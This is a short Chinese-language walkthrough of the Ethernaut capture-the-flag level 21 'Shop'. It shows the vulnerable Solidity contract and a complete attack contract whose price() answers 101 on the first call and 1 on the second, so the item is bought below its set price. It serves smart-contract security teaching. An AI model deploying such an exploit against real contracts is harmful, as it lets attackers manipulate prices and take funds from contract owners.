Ethernaut – level 21 : Shop

(https://ethernaut.openzeppelin.com/level/0x3aCd4766f1769940cA010a907b3C8dEbCe0bd4aB)

這一關題目要從shop這個contract 買東西,但是價錢要比shop要求的低。

interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) { //第一次呼叫_buyer.price()
      isSold = true;
      price = _buyer.price();  //第二次呼叫_buyer.price()
    }
  }
}

其中,買東西就是要讓isSold變數變成true,而買東西的價格則由buyer.price()來決定,但因為buyer是一個Interface,我們可以自己寫price(),那就只要自己寫一個return低於原定價格的price()就可以搞定了。但是,Shop.buy()會先檢查buyer.price()必須大於設定的價格。

沒關係,我們只需要第一次檢查的時候返回大於設定的價格,第二次呼叫buyer.price()時給小於設定的價格,這關就過了(可以參考level 11 Elevator的作法),我們在之前是在自己寫的合約中用一個bool 變數來儲存第一次或第二次呼叫,但這樣的做法因為牽涉到合約state(儲存的變數)的改變,收取的gas費用較高,因此這邊我們利用直接查詢Shop.isSold()的方式來判斷是第一次呼叫還是第二次呼叫。直接上code:

contract HackShop{

    Shop public _shop;

    constructor(address _shopAddress) {
        _shop = Shop(_shopAddress);
    }

    function price() external view returns (uint){
        return _shop.isSold() == true ? 1: 101; 
    }

    
    //需要用此合約去觸發Shop.buy(),才會用此合約的price()函數
    function go_buy() public{
        _shop.buy();
    }

}

Deploy時輸入instance的address,然後執行go_buy(),成功後回Ethernaut sumbit,這一關就這樣。